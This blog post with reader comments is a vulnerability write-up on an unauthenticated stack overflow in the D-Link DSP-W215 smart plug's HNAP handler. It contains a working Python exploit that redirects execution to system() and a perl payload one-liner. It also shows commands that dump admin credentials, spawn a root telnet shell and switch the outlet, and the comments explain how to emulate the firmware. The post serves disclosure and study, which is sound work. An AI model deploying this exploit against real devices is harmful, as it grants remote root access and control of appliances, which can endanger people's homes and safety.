Hacking the D-Link DSP-W215 Smart Plug

The D-Link DSP-W215 Smart Plug is a wireless home automation device for monitoring and controlling electrical outlets. It isn’t readily available from Amazon or Best Buy yet, but the firmware is up on D-Link’s web site.

The D-Link DSP-W215

The D-Link DSP-W215

TL;DR, the DSP-W215 contains an unauthenticated stack overflow that can be exploited to take complete control of the device, and anything connected to its AC outlet.

The DSP-W215 firmware contains all the usual stuff you would expect from a Linux-based device:

DSP-W215 Firmware Analysis

DSP-W215 Firmware Analysis

After unpacking and examining the contents of the file system, I found that the smart plug doesn’t have a normal web-based interface; you are expected to configure it using D-Link’s Android/iOS app. The apps however, appear to use the Home Network Administration Protocol (HNAP) to talk to the smart plug.

Being a SOAP-based protocol, HNAP is served up by a lighttpd server running on the smart plug, and the following excerpt from the lighttpd configuration file(s) shows that HNAP requests are passed off to the /www/my_cgi.cgi binary for processing:


alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
               "/HNAP1"  => "/www/my_cgi.cgi",


While HNAP is an authenticated protocol, some HNAP actions – specifically the GetDeviceSettings action – do not require authentication:

XML Output from the GetDeviceSettings Action

XML Output from the GetDeviceSettings Action

GetDeviceSettings only provides a list of supported actions and isn’t of much use by itself, but this does mean that my_cgi.cgi has to parse the request prior to checking for authentication.

HNAP request data is handled by the do_hnap function in my_cgi.cgi. Since HNAP actions are sent as HTTP POST requests, do_hnap first processes the Content-Length header specified in the POST request:

Converting the Content-Length String to an Integer

Converting the Content-Length String to an Integer

Then, naturally, it reads content_length bytes into a fixed-size stack buffer:

fgetc Read Loop

fgetc Read Loop

The following C code is perhaps a bit clearer:

int content_length, i;
char *content_length_str;
char post_data_buf[500000];

content_length = 0;
content_length_str = getenv("CONTENT_LENGTH");

   content_length = strtol(content_length_str, 10);

memset(post_data_buf, 0, 500000);

for(i=0; i<content_length; i++)
   post_data_buf[i] = fgetc();

From the memset it is obvious that the post_data_buf stack buffer is only intended to hold up to 500,000 bytes. Since the Content-Length header is trusted blindly, POSTing more than 500,000 bytes will overflow this buffer, but there are quite a few more variables on the stack; it takes 1,000,020 bytes to overwrite everything on the stack up to the saved return address:

# Overflow $ra with 0x41414141
perl -e 'print "D"x1000020; print "A"x4' > overflow.txt
wget --post-file=overflow.txt
$ra Overwritten With 0x41414141

$ra Overwritten With 0x41414141

What’s more, because the POST data is read into the buffer with an fgetc loop, there are no bad bytes – even NULL bytes are allowed. That’s nice, because at 0x00405CAC in my_cgi.cgi there is this little bit of code that loads $a0 (the first function argument register) with a pointer to the stack ($sp+0x28) and calls system():



We just need to overwrite the saved return address with 0x00405CAC and put whatever command we want to run onto the stack at offset 0x28:

import sys
import urllib2

command = sys.argv[1]

buf =  "D" * 1000020         # Fill up the stack buffer
buf += "\x00\x40\x5C\xAC"    # Overwrite the return address on the stack
buf += "E" * 0x28            # Stack filler
buf += command               # Command to execute
buf += "\x00"                # NULL terminate the command string

req = urllib2.Request("", buf)
print urllib2.urlopen(req).read()

Even better, the stdout of any command we execute is returned in the server’s response:

eve@eve:~$ ./exploit.py 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 bin
drwxrwxr-x    3 1000     1000         4096 May  9 16:04 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 Jan 14 14:16 lib
drwxr-xr-x    3 1000     1000         4096 Jan 14 14:16 libexec
lrwxrwxrwx    1 1000     1000           11 May  9 16:01 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    7 1000     1000         4096 May  9 15:44 mnt
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May  9 17:49 root
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 sbin
drwxrwxr-x    3 1000     1000         4096 May 15 04:27 tmp
drwxrwxr-x    7 1000     1000         4096 Jan 14 14:16 usr
drwxrwxr-x    3 1000     1000         4096 May  9 16:04 var
-rw-r--r--    1 1000     1000           17 Jan 14 14:16 version
drwxrwxr-x    8 1000     1000         4096 May  9 16:52 www

We can dump configuration settings and admin creds:

eve@eve:~$ ./exploit.py 'nvram show' | grep admin

Or start up a telnet server to get a proper root shell:

eve@eve:~$ ./exploit.py 'busybox telnetd -l /bin/sh'
eve@eve:~$ telnet
Connected to
Escape character is '^]'.

BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ #

After reversing a bit more of my_cgi.cgi, I found that all you need to do to turn the wall outlet on and off is execute /var/sbin/relay:

/var/sbin/relay 1   # Turns outlet on 
/var/sbin/relay 0   # Turns outlet off 

You can run a little script on the smart plug to play blinkenlights:



while [ 1 ]
   /var/bin/relay $OOK

   if [ $OOK -eq 1 ]

Controlling a wall outlet can have more serious implications however, as exemplified the following D-Link advertisement:

A Rather Misleading D-Link Advertisement

A Rather Misleading D-Link Advertisement

While the smart plug may be able detect overheating, I suspect that it can only detect if the smart plug itself is overheating – it has no way to monitor the actual temperature of any devices plugged into the wall outlet. So, if you’ve left a space heater plugged in to the outlet and some nefarious person surreptitiously turns the outlet back on, you’re in for a bad day.

It’s unclear if the smart plug attempts to make itself remotely accessible (using UPnP port forwarding rules, for example), as the Android configuration app simply doesn’t work. It couldn’t even establish an initial connection to the smart plug, although my laptop had no problems. When it finally did, it refused to create a MyDlink account for remote access, with the very helpful error message “could not create account”. Although it said it had configured the smart plug to connect to my wireless network, the smart plug did not connect to my network, and it ceased to present itself as an access point for initial configuration. With the wireless borked and no ethernet connection, I was left with no means to further communicate with it. Oh, and there’s no hard reset button either. Ah well, it’s going in the bin anyway.

I suspect that anyone else who has purchased this device hasn’t been able to get it to work either, which is probably a good thing. At any rate, I’d be wary of connecting such a device to either my network or my appliances.

Incidentally, D-Link’s DIR-505L travel router is also affected by this bug, as it has a nearly identical my_cgi.cgi binary.

PoC code for both devices can be found here.

Bookmark the permalink.

41 Responses to Hacking the D-Link DSP-W215 Smart Plug

  1. 688as says:

    Nice little article, thanks.

  2. William C. Brown says:

    D-Link has published an advisory for posting the most updated information for the DSP-W215 @ http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10027

    We will be updating our DIR-505 & DIR-505L advisories soon to address a similar issue in those products.

  3. axet says:

    where 1,000,020 come from? I see only char []500000

    • Craig says:

      The C code shown above is only representative of the relevant code that causes the vulnerability, not the entire do_hnap function, which is quite large. There are many other variables on the stack between the post_data_buf variable and the saved return address.

      • axet says:

        I understand that. Question is how to get this value. Most important and valuable information missing in this tutorial.

        • Craig says:

          You just subtract the stack offset of the saved return address from the stack offset of post_data_buf. These offsets are explicit in the disassembly.

          It’s pretty trivial, but covered in detail in some previous posts.

  4. anthonyn says:

    I was curious about the register window. What is that from, some mips emu?

  5. Pingback: Hacking the D-Link DSP-W215 Smart Plug | Шалаш инженера

  6. Stone Arrow Bearson says:

    These just keep getting better and better!

  7. Rena says:

    Damn. The exploit is just icing on the cake. Can only be configured by an Android/iOS app that requires some sort of “MyDlink account”? Bricked it by trying to configure it? That’s already plenty of reason to stay far away from this thing.

  8. Pingback: Hacking the D-Link DSP-W215 Smart Plug

  9. Pingback: Hacking the D-Link DSP-W215 Smart Plug - Tech key | Techzone | Tech data

  10. Max Kelley says:

    Is that the full version of IDA’s debugger, or the free version? Looks really nice!

  11. Mats Svensson says:

    Great work!

    But in dlink’s defense, Im sure that the thermal sensor will in fact turn of the space heater, as soon as the fire reaches the plug.

    dlink – ‘Better late than never’

  12. Pingback: Hacking the D-Link DSP-W215 Smart Plug | t3chsavy

  13. Sandro says:

    Amazing post Craig,
    I’m trying to replicate your work to study it but im getting stuck virtualizing my_cgi.cgi using qemu and remote gdb and IDA:
    root@kali:~/my_cgi/squashfs-root# chroot . ./qemu-mips-static bin/ls
    /lib/ld-uClibc.so.0: Invalid ELF image for this architecture

    What’s wrong? :-\

    • Sandro says:

      I’ve found a solution, in your blog, it was a qemu fault due to sstrip.
      Thank you Craig, i’ve learned here more than what i’ve learned in 3 years at the university!!!

    • Craig says:

      I used a Debian MIPS image running in Qemu. With that you can run the lighttpd server form the firmware and interact with my_cgi.cgi just as you would if it were running on the DSP-W215.

      • fyk says:

        hello ,Craig
        I am in a puzzle about the address in qemu and in the real device , if the two address is the same? Does the outlet firmware using ASLR technology?

        • Craig says:

          Only the stack is randomized, not libraries. This is typical of embedded devices in general, and MIPS based systems in particular.

  14. Bill says:

    Try setting up this devise if you are using an Airport router, not easy. Ales it seems that if you move the devise from one outlet to another the device needs to be set up again. This leads my to believe that in the event of a power outage you will need to set up every device you own independently.

  15. ednolo says:

    @Sandro: Your uClib looks wrong, either you dont have it at /lib folder, or it is compiled for another kind of mips (le-be msb-lsb). I got the same problem today with other device. Finally I got the library from another firmware from the same device, but it was compiled different (LSB instead MSB). Finally I found one fine for my binary in another firmware version. Good luck!

    @Craig: Is there any tricks to debug libraries? I mean, sometimes the most interesting is in the libraries, but there are not binaries. Or if there are binaries linked with this libraries, I have to patch plenty of exceptions. I’m trying to jump to the important function and changing values in order to keep running the binary. Sometimes is not possible. And it is a big pain.

    Please dont stop writing more posts! :)

  16. GSP says:

    Excellent work!

  17. Pingback: You may want to reconsider hooking up electrical devices to a “smart” power plug device… | Gun Safety Blog

  18. Pingback: Hacking the D-Link DSP-W215 Smart Plug | oogenhand

  19. Sandro says:

    Thank you Craig for your reply.
    By your tips and following the guide on Zach Cutlip’s blog, I’m now able to run Debian (wheezy) mips on qemu.

    Assumung you’re doing debug trough gdb, as what i saw gdbserver can’t handle a process if not starting it or handling one by PID which is alredy running.
    So, the question is: how do you attach my_cgi.cgi process by gdbserver if the process is executed by lighttpd?

  20. Pingback: Hacking the DSP-W215, Again - /dev/ttyS0

  21. Pingback: Hacking the DSP-W215, Again – /dev/ttyS0 | Tinker News

  22. Pingback: Hacking the DSP-W215, Again, Again, Again - /dev/ttyS0

  23. Pingback: D-Link DSP-W215 HNAP "GetDeviceSettings"缓冲区溢出漏洞 | 国联天成

  24. Pingback: Security News #0×72 | CyberOperations

  25. Pingback: Weekly Metasploit Update: Embedded Device Attacks and Automated Syntax Analysis | IT Security News

  26. AF says:

    Hiya, I have the source code files from their website, which directory are you getting this code from?

    • Craig says:

      I haven’t looked at any of the source code that has been released for this product; the my_cgi.cgi binary analyzed here was taken from the firmware image. my_cgi.cgi may be included in the source code in binary form, though I doubt they will have released the source code for this.

  27. Pingback: Exploiting Ammyy Admin – developing an 0day « Thoughts on Security

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>